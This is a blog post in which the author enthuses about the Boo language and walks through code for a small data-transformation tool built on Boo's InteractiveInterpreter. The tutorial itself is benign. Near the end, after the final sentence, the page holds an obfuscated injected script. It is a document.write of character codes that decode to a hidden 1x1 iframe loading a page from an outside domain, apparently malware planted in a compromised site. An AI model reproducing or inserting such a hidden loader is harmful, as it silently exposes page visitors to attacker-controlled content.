Boo!

Yesterday and today I’ve been increasingly gripped by a wonderful language called Boo. AFAIK, it’s a relatively new “wrist friendly language for the CLR”. It’s insprired by Python and though I was very interrested in Python for a short while a long time ago I’ve pretty much been indifferent towards it most of the time. But this is not Pythong, no… This is something I can immediately put to use at work – it’s Boo man! Boo!!!

Sorry, but before I get to the wonders of Boo here’s a little background story you need to read:

Corona is an export framework I recently completed for my employer. She’s pretty much invisible but a pretty powerful part of a larger project. I spend a lot of time on her and (to me at least) it shows. However, she speaks C# and my new love is Boo so once in a while I need to talk to her a little. I recently asked her if she could describe to me in short what it does and here’s what she said to me: “I take one or more sources of data, pull some user defined operations on it to transform it into some other data and then write that to one or more popular file formats”. “Yep”, I said, “that’s correct” as I smiled politely to her and went back to jEdit to write some more Boo again.

Anyway, tonight I just couldn’t stop writing Boo and I decided to give Corona a big makeover, this time concentrating on the essential thing: data transformation. Most of Corona’s source originates from a database but because rows are essentially hashtables I decided to move my input focus from a IDataReader to a hash. Here’s my input; it’s a string containing a Boo script declaration of a variable “input” containing a list with hashes inside:
[Boo]inputStr = “””
input = ({
‘firstName’ : ‘Kinte’,
‘lastName’ : ‘Kunta’,
‘age’ : 25,
},
{
‘firstName’ : ‘Bawarsa’,
‘lastName’ : ‘Pamal’,
‘age’ : 24
},
{
‘firstName’ : ‘Quippo’,
‘lastName’ : ‘Quepsilon’,
‘age’ : 27
})”””[/Boo]
I kept my export definition in XML before but now I just written it out as a Boo hash:
[Boo]definitionStr = “””
definition = {
‘name’ : “input[‘firstName’] + ‘ ‘ + (input[‘mid’] + ‘ ‘).TrimStart() + input[‘lastName’]”,
‘age’ : “input[‘age’] * 10”,
}”””[/Boo]
Again it’s a string but this time it contains Boo script with a declaration of the “definition” variable which contains a hash of keys and transformation rules. You can see it creates two fields for every input item: “name” and “age”. It also multiplates the age by 10 for some kind of obscure reason… The name is composed by the firstName, mid and lastName input’s. There’s a TrimStart call in there to prevent spaces when there’s no mid value present.

By the way, if you want to try out the code that follows, you need this import at the top of your script, just below your namespace declaration if there is one:
[Boo]import Boo.Lang.Interpreter from Boo.Lang.Interpreter[/Boo]

Here’s the Transformer class, it has one method: Transform, which takes a single hash of inputs and a hash of rules which is combined into a new hash with the result of these two inputs:
[Boo]class Transformer:
def constructor(interpreter):
_interpreter = interpreter

def Transform(input, definition):
_interpreter.SetValue(“input”, input)
result = Hash()
for rule in definition as Hash:
_interpreter.Eval(rule.Value)
result[rule.Key] = _interpreter.LastValue
return result

_interpreter as InteractiveInterpreter[/Boo]

At this point, I’m not still quite sure how to proceed further so I have this “loose” helper function that walks a list of input hashes and combines the output from the Transform method into a list of output hashes according to the definition:
[Boo]def generate(transformer as Transformer, input, definition):
output = List()
for person as Hash in input:
result = transformer.Transform(person, definition)
output.Add(result)
return output[/Boo]

Note that you need to declare classes and functions before any client script. This is not necessary the best way to actually compose your code (think TDD and behaviour) but when you get to the point of actually running it the declarations must precede client code or else Boo might talk dirty to you.

And at this point we have all our objects assembled and can finally put them to work. First, we need to create an instance of our friendly neighbour: Interactive-“Jolly Good Good Fellow”-Interpreter:
[Boo]interpreter = InteractiveInterpreter(RememberLastValue: true)[/Boo]

I have absolutely no proof and it might very well be not be the case but it’s name and behaviour imply this is not a object to be treated lightly (it’s an InteractiveInterpreter man!) The things I have seen been done by instances created from the InteractiveInterpreter class can for most programmers be only described as “pure magic”. Feed this little puppy any valid boo script (ANY!!!) and it will just go off and do it. Freddy Fixedfingers might know what your script does but there it goes, of and running. Most of the code in this piece is based on the behaviour of the InteractiveInterpreter and I can only add that it has been a long while since I have been so excited about programming in .NET. (Damn this language man, sometimes it even begins to look a little like Smalltalk… I love Smalltalk, don’t get me wrong, but it’s like a drug to be without it… And you just can’t have Smalltalk in a Microfrot shop.)

We also need an instance of our Transformer class that was shown earlier:
[Boo]transformer = Transformer(interpreter)[/Boo]

We now have our central objects so let’s use it to make something of our input Boo script:
[Boo]interpreter.Eval(inputStr)
input = interpreter.LastValue[/Boo]
This creates a list with a bunch of hashes inside (check the script string above). You could think the List the table and the hashes the rows.

We can pull the exact same trick on our transformation or export definition:
[Boo]interpreter.Eval(definitionStr)
definition = interpreter.LastValue[/Boo]
So now we have both an input as well as a defintion instance as well as the transformer to use them. The only thing left to do is call our generate helper function (shown earlier) with all of these objects:
[Boo]output = generate(transformer, input, definition)[/Boo]
The output variable now contains a list with hashes inside. These contain the transformed results as specified by the rules in the definition variable.

Here’s another helper function to explicitly print the contents of a HashList (a List instance with Hash instances inside such as the input or output objects):
[Boo]def printHashList(hashList):
for result as Hash in hashList:
for key in result.Keys:
print key + ‘:’, result[key]
print[/Boo]
However, now that I look at this function I wonder if it is really necessary… Can’t we get Boo to print the contents of such a structure without guidance from this kind of function? (UPDATE: use “join”)

Anyway, we can now check if our transformations succeeded:
[Boo]print “Here’s your input:”
printHashList(input)

print “And here’s what I made of it:”
printHashList(output)[/Boo]

Boo is great.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment